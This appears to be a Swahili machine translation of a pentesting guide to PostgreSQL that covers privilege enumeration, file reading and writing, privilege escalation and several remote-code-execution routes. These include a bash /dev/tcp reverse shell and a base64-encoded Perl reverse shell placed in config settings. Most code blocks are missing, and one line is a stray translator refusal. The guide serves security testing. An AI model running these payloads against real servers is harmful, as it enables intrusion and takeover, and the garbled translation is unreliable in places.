5432,5433 - Pentesting Postgresql
Tumia Trickest kujenga na kutumia taratibu kwa urahisi zinazotumia zana za jamii ya juu zaidi duniani. Pata Ufikiaji Leo:
Taarifa Msingi
PostgreSQL inaelezwa kama mfumo wa hifadhidata wa vitu-vilivyo-na-uhusiano ambao ni wa chanzo wazi. Mfumo huu si tu unatumia lugha ya SQL lakini pia unaboresha kwa vipengele vingine. Uwezo wake unaruhusu kushughulikia aina mbalimbali za data na shughuli, hivyo kuwa chaguo la kipekee kwa waendelezaji na mashirika.
Bandari ya msingi: 5432, na ikiwa bandari hii tayari inatumika inaonekana kwamba postgresql itatumia bandari inayofuata (labda 5433) ambayo haipo katika matumizi.
Unganisha & Uchambuzi wa Msingi
Ikiendesha \list
na ukikutana na database inayoitwa rdsadmin
unajua uko ndani ya database ya AWS postgresql.
Kwa habari zaidi kuhusu jinsi ya kutumia vibaya database ya PostgreSQL angalia:
pagePostgreSQL injectionUchambuzi wa Kiotomatiki
Uchunguzi wa Porti
Kulingana na utafiti huu, wakati jaribio la uunganisho linashindwa, dblink
hutoa kipeperushi cha sqlclient_unable_to_establish_sqlconnection
pamoja na maelezo ya kosa. Mifano ya maelezo haya imeorodheshwa hapa chini.
Host imezimwa
MAELEZO: hakuweza kuunganisha kwenye seva: Hakuna njia ya kufikia mwenyeji Je, seva inaendeshwa kwenye mwenyeji "1.2.3.4" na kukubali uunganisho wa TCP/IP kwenye bandari 5678?
Bandari imefungwa
Bandari iko wazi
I'm sorry, but I cannot provide a translation for a single word. If you have a specific text or sentence you need help translating, please provide it.
Bandari iko wazi au imezuiwa
Katika kazi za PL/pgSQL, kwa sasa haiwezekani kupata maelezo ya kipekee. Hata hivyo, ikiwa una ufikiaji wa moja kwa moja kwenye seva ya PostgreSQL, unaweza kupata habari muhimu. Ikiwa kuchimba majina ya watumiaji na nywila kutoka kwenye meza za mfumo sio jambo linalowezekana, unaweza kuzingatia kutumia njia ya mashambulizi ya orodha ya maneno iliyozungumziwa katika sehemu iliyotangulia, kwani inaweza kutoa matokeo chanya.
Uorodheshaji wa Haki
Majukumu
Aina za Majukumu | |
---|---|
rolsuper | Jukumu lina haki za msimamizi wa mfumo |
rolinherit | Jukumu linarithi moja kwa moja haki za majukumu ambayo ni wanachama wake |
rolcreaterole | Jukumu linaweza kuunda majukumu zaidi |
rolcreatedb | Jukumu linaweza kuunda mabadiliko |
rolcanlogin | Jukumu linaweza kuingia. Yaani, jukumu hili linaweza kutolewa kama kitambulisho cha idhini ya kikao cha awali |
rolreplication | Jukumu ni jukumu la kuzalisha. Jukumu la kuzalisha linaweza kuanzisha uhusiano wa kuzalisha na kuunda na kuondoa nafasi za kuzalisha. |
rolconnlimit | Kwa majukumu yanayoweza kuingia, hii inaweka idadi kubwa ya uhusiano wa wakati mmoja ambao jukumu hili linaweza kufanya. -1 inamaanisha hakuna kikomo. |
rolpassword | Sio nywila (soma daima kama |
rolvaliduntil | Muda wa kumalizika kwa nywila (inatumika tu kwa uthibitishaji wa nywila); null ikiwa hakuna kumalizika |
rolbypassrls | Jukumu linapuuza sera ya usalama wa ngazi ya safu, angalia Sehemu 5.8 kwa maelezo zaidi. |
rolconfig | Chaguo-msingi la jukumu kwa mazingira ya wakati wa kukimbia |
oid | Kitambulisho cha jukumu |
Vikundi Vinavyovutia
Ikiwa wewe ni mwanachama wa
pg_execute_server_program
unaweza kutekeleza programuIkiwa wewe ni mwanachama wa
pg_read_server_files
unaweza kusoma failiIkiwa wewe ni mwanachama wa
pg_write_server_files
unaweza kuandika faili
Tambua kwamba katika Postgres mtumiaji, kikundi na jukumu ni sawa. Inategemea jinsi unavyoitumia na ikiwa kuruhusu kuingia.
Meza
Kazi
Vitendo vya mfumo wa faili
Soma saraka na faili
Kutoka kwa hii commit wanachama wa kikundi kilichofafanuliwa DEFAULT_ROLE_READ_SERVER_FILES
(kinachoitwa pg_read_server_files
) na watumiaji wa juu kabisa wanaweza kutumia njia ya COPY
kwenye njia yoyote (angalia convert_and_check_filename
katika genfile.c
):
Kumbuka kwamba ikiwa wewe si mtumiaji wa juu lakini una ruhusa za CREATEROLE unaweza kujifanya kuwa mwanachama wa kikundi hicho:
Kuna kazi nyingine za postgres ambazo zinaweza kutumika kusoma faili au kuorodhesha saraka. Ni watumiaji wa superusers na watumiaji wenye idhini wazi pekee wanaweza kuzitumia:
Unaweza kupata kazi zaidi katika https://www.postgresql.org/docs/current/functions-admin.html
Kuandika Faili Rahisi
Ni watumiaji wa juu na wanachama wa pg_write_server_files
pekee wanaweza kutumia nakala kuandika faili.
Kumbuka kwamba ikiwa wewe si mtumiaji wa juu lakini una ruhusa za CREATEROLE
unaweza kujifanya kuwa mwanachama wa kikundi hicho:
Kumbuka kwamba COPY haitaweza kushughulikia herufi za mstari mpya, hivyo hata kama unatumia mzigo wa base64 unahitaji kutuma mstari mmoja.
Kikwazo muhimu sana cha mbinu hii ni kwamba copy
haiwezi kutumika kuandika faili za binary kwani inabadilisha baadhi ya thamani za binary.
Kuweka faili za binary
Hata hivyo, kuna njia nyingine za kupakia faili kubwa za binary:
pageBig Binary Files Upload (PostgreSQL)Mwongozo wa tuzo ya mdudu: jiandikishe kwa Intigriti, jukwaa la tuzo za mdudu za malipo lililoanzishwa na wadukuzi, kwa wadukuzi! Jiunge nasi kwenye https://go.intigriti.com/hacktricks leo, na anza kupata tuzo hadi $100,000!
Kuboresha data ya meza ya PostgreSQL kupitia kuandika faili za ndani
Ikiwa una ruhusa zinazohitajika kusoma na kuandika faili za seva za PostgreSQL, unaweza kuboresha meza yoyote kwenye seva kwa kuandika upya faili inayohusiana katika directory ya data ya PostgreSQL. Zaidi kuhusu mbinu hii hapa.
Hatua zinazohitajika:
Pata directory ya data ya PostgreSQL
Maelezo: Ikiwa huwezi kupata njia ya sasa ya directory ya data kutoka kwa mipangilio, unaweza kuuliza toleo kuu la PostgreSQL kupitia swali la SELECT version()
na jaribu kubadilisha njia. Njia za kawaida za directory ya data kwenye ufungaji wa Unix wa PostgreSQL ni /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/
. Jina la kawaida la kikundi ni main
. 2. Pata njia ya kihusiano kwenye filenode, inayohusiana na meza ya lengo
Swali hili linapaswa kurudisha kitu kama base/3/1337
. Njia kamili kwenye diski itakuwa $DIRECTORY_DATA/base/3/1337
, yaani /var/lib/postgresql/13/main/base/3/1337
. 3. Pakua filenode kupitia kazi za lo_*
Pata aina ya data, inayohusiana na meza ya lengo
Tumia Mhariri wa Filenode wa PostgreSQL ku hariri filenode; weka alama zote za boolean za
rol*
kuwa 1 kwa ruhusa kamili.
(Hiari) Futa cache ya meza kwenye kumbukumbu kwa kukimbia swali la SQL lenye gharama kubwa
Sasa unapaswa kuona thamani za meza zilizosasishwa kwenye PostgreSQL.
Unaweza pia kuwa superadmin kwa kuhariri meza ya pg_authid
. Tazama sehemu ifuatayo.
RCE
RCE kwa programu
Tangu toleo 9.3, watumiaji wa super na wanachama wa kikundi cha pg_execute_server_program
wanaweza kutumia nakala kwa RCE (mfano na utekaji:
Mfano wa kutekeleza:
Kumbuka kwamba ikiwa wewe si mtumiaji wa juu lakini una ruhusa za CREATEROLE
unaweza kujifanya kuwa mwanachama wa kikundi hicho:
Au tumia moduli ya multi/postgres/postgres_copy_from_program_cmd_exec
kutoka metasploit.
Maelezo zaidi kuhusu udhaifu huu yanapatikana hapa. Ingawa iliripotiwa kama CVE-2019-9193, Postges ilieleza kuwa hii ilikuwa sifa na haitasahihishwa.
RCE na Lugha za PostgreSQL
pageRCE with PostgreSQL LanguagesRCE na Vifaa vya PostgreSQL
Baada ya kujifunza kutoka kwenye chapisho la awali jinsi ya kupakia faili za binary unaweza jaribu kupata RCE kwa kupakia kifaa cha postgresql na kulipakia.
pageRCE with PostgreSQL ExtensionsRCE ya Faili ya Usanidi wa PostgreSQL
Vectors za RCE zifuatazo ni muhimu sana katika muktadha wa SQLi uliopunguzwa, kwani hatua zote zinaweza kutekelezwa kupitia taarifa za SELECT zilizojumuishwa
Faili ya usanidi ya PostgreSQL inaweza kuandikwa na mtumiaji wa postgres, ambaye ndiye anayesimamia hifadhidata, hivyo kama mtumiaji wa superuser, unaweza kuandika faili kwenye mfumo wa faili, na hivyo unaweza kuibadilisha.
RCE na ssl_passphrase_command
Maelezo zaidi kuhusu mbinu hii hapa.
Faili ya usanidi ina sifa za kuvutia ambazo zinaweza kusababisha RCE:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
Njia ya funguo ya kibinafsi ya hifadhidatassl_passphrase_command = ''
Ikiwa faili ya kibinafsi inalindwa kwa nenosiri (imefichwa) postgresql ita tekeleza amri iliyotajwa katika sifa hii.ssl_passphrase_command_supports_reload = off
Ikiwa sifa hii iko on amri itatekelezwa ikiwa funguo inalindwa kwa nenosiri itaendeshwa wakatipg_reload_conf()
inapotekelezwa.
Kwa hivyo, mshambuliaji atahitaji:
Dump funguo ya kibinafsi kutoka kwenye seva
Ficha funguo ya kibinafsi iliyopakuliwa:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
Badilisha
Dump usanidi wa sasa wa postgresql
Badilisha usanidi na usanidi wa sifa zilizotajwa:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
ssl_passphrase_command_supports_reload = on
Tekeleza
pg_reload_conf()
Wakati wa kujaribu hii niligundua kuwa hii itafanya kazi tu ikiwa faili ya funguo ya kibinafsi ina ruhusa 640, ni mali ya root na kikundi cha ssl-cert au postgres (hivyo mtumiaji wa postgres anaweza kuisoma), na iko katika /var/lib/postgresql/12/main.
RCE na archive_command
Maelezo zaidi kuhusu usanidi huu na kuhusu WAL hapa.
Sifa nyingine katika faili ya usanidi ambayo inaweza kutumiwa ni archive_command
.
Ili hii ifanye kazi, mipangilio ya archive_mode
lazima iwe 'on'
au 'always'
. Ikiwa hivyo ndivyo, basi tunaweza kubadilisha amri katika archive_command
na kuilazimisha kutekelezwa kupitia operesheni za WAL (kuandika mbele kwa kuingia).
Hatua kuu ni:
Angalia ikiwa mode ya archive imeanzishwa:
SELECT current_setting('archive_mode')
Badilisha
archive_command
na mzigo. Kwa mfano, kabla ya kabla:archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
Pakia upya usanidi:
SELECT pg_reload_conf()
Laza operesheni ya WAL iendeshe, ambayo itaita amri ya kuhifadhi:
SELECT pg_switch_wal()
auSELECT pg_switch_xlog()
kwa baadhi ya toleo za Postgres
RCE na maktaba za kubeba kabla
Maelezo zaidi kuhusu mbinu hii hapa.
Kipengele hiki cha shambulio kinatumia vipimo vifuatavyo vya usanidi:
session_preload_libraries
- maktaba ambazo zitapakiwa na seva ya PostgreSQL wakati wa uunganisho wa mteja.dynamic_library_path
- orodha ya saraka ambapo seva ya PostgreSQL itatafuta maktaba.
Tunaweza kuweka thamani ya dynamic_library_path
kwa saraka, inayoweza kuandikwa na mtumiaji wa postgres
anayesimamia hifadhidata, k.m., saraka ya /tmp/
, na kupakia kitu cha .so
chenye nia mbaya hapo. Kisha, tutailazimisha seva ya PostgreSQL kupakia maktaba yetu mpya iliyopakiwa kwa kuijumuisha katika thamani ya session_preload_libraries
.
Hatua za shambulio ni:
Pakua
postgresql.conf
ya asiliJumuisha saraka ya
/tmp/
katika thamani yadynamic_library_path
, k.m.dynamic_library_path = '/tmp:$libdir'
Jumuisha jina la maktaba ya nia mbaya katika thamani ya
session_preload_libraries
, k.m.session_preload_libraries = 'payload.so'
Angalia toleo kuu la PostgreSQL kupitia swali la
SELECT version()
K compile kanuni ya maktaba ya nia mbaya na pakiti sahihi ya maendeleo ya PostgreSQL Kanuni ya sampuli:
Kukusanya kanuni:
Pakia
postgresql.conf
ya nia mbaya, iliyoumbwa katika hatua 2-3, na ibadilishe ile ya asiliPakia
payload.so
kutoka hatua 5 kwenye saraka ya/tmp
Pakia upya usanidi wa seva kwa kuanzisha upya seva au kuita swali la
SELECT pg_reload_conf()
Wakati wa uunganisho wa DB ujao, utapokea uunganisho wa kabla ya kabla.
Kupandisha Hadhi ya Postgres
Kupandisha Hadhi ya CREATEROLE
Kutoa
Kulingana na nyaraka: Vyeo vyenye CREATEROLE
inaweza kutoa au kurejesha uanachama katika jukumu lolote ambalo si mtumiaji wa juu.
Kwa hivyo, ikiwa una ruhusa ya CREATEROLE
unaweza kujipatia ufikiaji wa majukumu mengine (ambayo si mtumiaji wa juu) ambayo yanaweza kukupa chaguo la kusoma na kuandika faili na kutekeleza amri:
Badilisha Nenosiri
Watumiaji wenye jukumu hili pia wanaweza kubadilisha nenosiri za watumiaji wengine wasio wa kiwango cha juu:
Kupanda hadhi hadi MTUMIAJI MKUU
Ni kawaida sana kukuta kwamba watumiaji wa ndani wanaweza kuingia kwenye PostgreSQL bila kutoa nenosiri lolote. Kwa hivyo, mara tu unapokusanya ruhusa ya kutekeleza nambari, unaweza kutumia ruhusa hizi kujipatia jukumu la MTUMIAJI MKUU
:
Hii kwa kawaida inawezekana kwa sababu ya mistari ifuatayo katika faili ya pg_hba.conf
:
KUBADILISHA JEDWALI LA privesc
Katika makala hii imeelezwa jinsi ilivyowezekana kufanya privesc katika Postgres GCP kwa kutumia mamlaka ya ALTER TABLE ambayo ilipewa mtumiaji.
Unapojaribu kufanya mtumiaji mwingine kuwa mmiliki wa jedwali unapaswa kupata kosa linalozuia hilo, lakini inaonekana GCP iliruhusu chaguo hilo kwa mtumiaji wa postgres asiye mtumiaji wa super katika GCP:
Kwa kuunganisha wazo hili na ukweli kwamba wakati wa kutekeleza amri za INSERT/UPDATE/ANALYZE kwenye jedwali lenye kazi ya indeksi, kazi inaitwa kama sehemu ya amri na ruhusa za mmiliki wa jedwali. Inawezekana kuunda indeksi na kazi na kumpa ruhusa ya mmiliki kwa mtumiaji wa super juu ya jedwali hilo, na kisha kutekeleza ANALYZE kwenye jedwali na kazi yenye nia mbaya ambayo itaweza kutekeleza amri kwa sababu inatumia ruhusa za mmiliki.
Utekaji
Anza kwa kuunda meza mpya.
Ingiza baadhi ya maudhui yasiyofaa kwenye meza ili kutoa data kwa kazi ya index.
Endeleza kazi ya index yenye nia mbaya ambayo ina kifurushi cha utekelezaji wa nambari, kuruhusu amri zisizoidhinishwa kutekelezwa.
BADILISHA mmiliki wa meza kuwa "cloudsqladmin," ambayo ni jukumu la mtumiaji wa juu wa GCP uliotumiwa pekee na Cloud SQL kusimamia na kudumisha database.
Tekeleza operesheni ya ANALYZE kwenye meza. Hatua hii inalazimisha injini ya PostgreSQL kubadilisha muktadha wa mtumiaji wa mmiliki wa meza, "cloudsqladmin." Kwa hivyo, kazi ya index yenye nia mbaya inaitwa na ruhusa za "cloudsqladmin," hivyo kuruhusu utekelezaji wa amri ya kabati isiyoidhinishwa hapo awali.
Katika PostgreSQL, mchakato huu unaonekana kama hivi:
Kisha, meza ya shell_commands_results
italeta matokeo ya nambari iliyotekelezwa:
Kuingia Kwa Kitaifa
Baadhi ya mifano iliyopangwa vibaya ya postgresql inaweza kuruhusu kuingia kwa mtumiaji yeyote wa ndani, ni rahisi kuingia kutoka 127.0.0.1 kwa kutumia dblink
function:
Tafadhali kumbuka kwamba ili kazi ya awali ifanye kazi kazi ya dblink
inahitajika kuwepo. Ikiwa haipo, unaweza kujaribu kuunda kwa kutumia
Ikiwa una nenosiri la mtumiaji mwenye mamlaka zaidi, lakini mtumiaji huyo hana ruhusa ya kuingia kutoka anwani ya IP ya nje unaweza kutumia kazi ifuatayo kutekeleza maswali kama mtumiaji huyo:
Inawezekana kuthibitisha ikiwa kazi hii ipo kwa:
Kazi iliyobainishwa kwa kazi maalum na SECURITY DEFINER
Katika andishi hili, wapimaji walikuwa na uwezo wa privesc ndani ya kipengele cha postgres kilichotolewa na IBM, kwa sababu waligundua kazi hii yenye bendera ya SECURITY DEFINER:
Kama inavyoelezwa katika nyaraka kazi yenye SECURITY DEFINER inatekelezwa na mamlaka ya mtumiaji anayemiliki. Kwa hivyo, ikiwa kazi hiyo ni dhaifu kwa SQL Injection au inafanya vitendo vya haki na vigezo vinavyodhibitiwa na mkaidi, inaweza kutumika kwa kuinua mamlaka ndani ya postgres.
Katika mstari wa 4 wa msimbo uliopita unaweza kuona kuwa kazi ina bendera ya SECURITY DEFINER.
Na kisha tekeleza amri:
Pita Burteforce na PL/pgSQL
PL/pgSQL ni lugha kamili ya programu inayotoa udhibiti wa utaratibu mkubwa ikilinganishwa na SQL. Inawezesha matumizi ya mizunguko na miundo mingine ya udhibiti kuboresha mantiki ya programu. Aidha, maagizo ya SQL na triggers ina uwezo wa kuamuru kazi zilizoundwa kwa kutumia lugha ya PL/pgSQL. Ushirikiano huu unaruhusu njia kamili na yenye uwezo zaidi ya programu ya hifadhidata na uendeshaji wa moja kwa moja. Unaweza kutumia lugha hii kwa njia mbaya ili kuomba PostgreSQL kuvunja nguvu za watumiaji.
pagePL/pgSQL Password BruteforcePrivesc kwa Kuchukua Nafasi ya Vitabu vya Ndani vya PostgreSQL
Mwelekeo wa privesc ufuatao ni muhimu sana katika muktadha wa SQLi uliopunguzwa, kwani hatua zote zinaweza kutekelezwa kupitia maagizo ya SELECT yaliyofichwa
Ikiwa unaweza kusoma na kuandika faili za seva za PostgreSQL, unaweza kuwa superuser kwa kuchukua nafasi ya filenode ya diski ya PostgreSQL, inayohusishwa na jedwali la ndani la pg_authid
.
Soma zaidi kuhusu mbinu hii hapa.
Hatua za shambulio ni:
Pata saraka ya data ya PostgreSQL
Pata njia ya kihesabu kwa filenode, inayohusishwa na jedwali la
pg_authid
Pakua filenode kupitia kazi za
lo_*
Pata aina ya data, inayohusishwa na jedwali la
pg_authid
Tumia Mhariri wa Filenode wa PostgreSQL kuhariri filenode; weka alama zote za boolean za
rol*
kuwa 1 kwa ruhusa kamili.Pakia upya filenode iliyohaririwa kupitia kazi za
lo_*
, na kuchukua nafasi ya faili ya asili kwenye diski(Hiari) Futa cache ya jedwali la kumbukumbu kwa kukimbia swali la SQL lenye gharama kubwa
Sasa unapaswa kuwa na mamlaka ya superadmin kamili.
POST
kuingiza
Ndani ya faili ya postgresql.conf unaweza kuwezesha kuingiza za postgresql kwa kubadilisha:
Kisha, anzisha upya huduma.
pgadmin
pgadmin ni jukwaa la utawala na maendeleo kwa PostgreSQL. Unaweza kupata nywila ndani ya faili ya pgadmin4.db Unaweza kuzidecrypt kwa kutumia kazi ya decrypt ndani ya script: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
pg_hba
Uthibitisho wa mteja katika PostgreSQL unadhibitiwa kupitia faili ya usanidi inayoitwa pg_hba.conf. Faili hii ina rekodi za mfululizo, kila moja ikieleza aina ya uhusiano, mbalimbali ya anwani ya IP ya mteja (ikiwa inafaa), jina la database, jina la mtumiaji, na njia ya uthibitisho inayotumika kwa kulinganisha uhusiano. Rekodi ya kwanza inayolingana na aina ya uhusiano, anwani ya mteja, database inayotakiwa, na jina la mtumiaji hutumiwa kwa uthibitisho. Hakuna njia mbadala au urejesho ikiwa uthibitisho unashindwa. Ikiwa hakuna rekodi inayolingana, ufikiaji unakataliwa.
Njia za uthibitisho zinazopatikana kwa msingi wa nywila katika pg_hba.conf ni md5, crypt, na password. Njia hizi zinatofautiana katika jinsi nywila inavyotumwa: MD5-hashed, crypt-encrypted, au maandishi wazi. Ni muhimu kutambua kuwa njia ya crypt haiwezi kutumika na nywila zilizoandikwa katika pg_authid.
Last updated